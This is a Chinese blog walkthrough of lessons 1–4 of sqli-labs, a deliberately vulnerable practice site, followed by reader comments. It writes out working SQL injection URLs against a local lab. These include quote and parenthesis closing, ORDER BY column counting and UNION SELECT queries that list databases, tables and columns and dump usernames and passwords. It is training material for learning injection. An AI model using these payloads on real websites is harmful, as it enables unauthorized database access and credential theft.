sqli-labs详细通关指南(1~4关)

0x00 前言

某大牛推荐了sqli-libs练习平台。这是一个php+mysql的sql注入练习平台。之前写过一个过关笔记,写到了二十多课的时候莫名的丢失了。。。

因为是第二次做笔记,所以有很多东西会比较没耐心,如果有什么细节不懂得可以留言给我,一起交流学习~

这次吸取教训,写几课就发一次。一直更新到通关为止!

0x01 环境搭建

1. 下载 sqli-lab 源码,地址为:https://github.com/Audi-1/sqli-labs

2. 放置网站根目录下,修改db-creds.inc 文件,添加本机 mysql 账户密码

3. 打开 sqli-lab 首页,点击运行 setup/reset databse

4. 数据库连接成功,接下来就可以测试了。

5.为了学习时方便观察进行的sql操作,建议添加一句php语句,方便显示注入时进行的sql语句,便于理解。

echo "$sql.<br>";

071115_0610_sqlilabs1.png

071115_0610_sqlilabs2.png

0x02 注入

Lesson1:字符型注入
直接访问:http://127.0.0.1/s/Less-1/?id=1′
071115_0610_sqlilabs3.png
发现报错信息多出一个单引号,后面闭合语句也是用的单引号。构造注入语句:http://127.0.0.1/s/Less-1/?id=1′ and ‘1’=’1 
 071115_0610_sqlilabs4.png
返回正常,说明sql语句执行成功了,因为条件永远为真,所以正常返回。
猜解字段数,
http://127.0.0.1/s/Less-1/?id=1′ order by 5%23
第一个单引号的作用是闭合id参数,然后执行order by命令,需要用%23将后面的sql语句注释掉(%23 是#url编码之后的值,因为sql语句在进入数据查询的时候会进行一次url解码,所以这个地方必须是url编码之后的值)。
 071115_0610_sqlilabs5.png
http://127.0.0.1/s/Less-1/?id=1′ order by 3%23  
当为3是正好返回正常,说明字段数为3。

071115_0610_sqlilabs6.png
http://127.0.0.1/s/Less-1/?id=’ union select 1,2,3%23
 071115_0610_sqlilabs7.png
获取当前数据库名
http://127.0.0.1/s/Less-1/?id=’ union select 1,(select database()) ,3%23
 071115_0610_sqlilabs8.png
获取所有数据库名
http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23
 071115_0610_sqlilabs9.png
获取表名
http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479)%23
 071115_0610_sqlilabs10.png
获取列名
http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23

 071115_0610_sqlilabs11.png
获取数据
http://127.0.0.1/s/Less-1/?id=’ union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23
 071115_0610_sqlilabs12.png
获取数据库版本
http://127.0.0.1/s/Less-1/?id=’ or 1=2 union select 1,@@version,database()%23
 071115_0610_sqlilabs13.png


Lesson2:数字型注入
http://127.0.0.1/s/Less-2/?id=1′
 071115_0610_sqlilabs14.png
根据返回错误信息,发现是数字型注入不需要单引号去闭合语句。
http://127.0.0.1/s/Less-2/?id=-1 union select 1,@@version,database()%23
 071115_0610_sqlilabs15.png


Lesson3:有括号的单引号报错
http://127.0.0.1/s/Less-3/?id=1′
加单引号查看报错信息
 071115_0610_sqlilabs16.png
可以判断出只是多出一个括号而已,所以在单引号后面加一个后括号。
http://127.0.0.1/s/Less-3/?id=1′) and 1=1%23    正常
http://127.0.0.1/s/Less-3/?id=1′) and 1=2%23    无返回
注入成功。

Lesson4:双引号括号报错注入
单引号并不会报错,双引号报错。并且需要后括号去闭合语句。
构造注入语句为:
http://127.0.0.1/s/Less-4/?id=1″) and 1=1%23   正常
http://127.0.0.1/s/Less-4/?id=1″) and 1=2%23   无返回

         

6 comments on “sqli-labs详细通关指南(1~4关)

    1. order by N;(N 为整数) 就是对第N个字段进行排序,默认为升序。
      select a,b from table order by 2;
      等于
      select a,b from table order by b;
      但是如果修改成
      select a,b from table order by 3;
      就会报错,那么就可以判断出,只有2个字段了。

  1. 能够知道大神相关的联系方式吗?比如扣扣和微信啥的,如果有扣扣群,那就再好不过了

Comments are closed.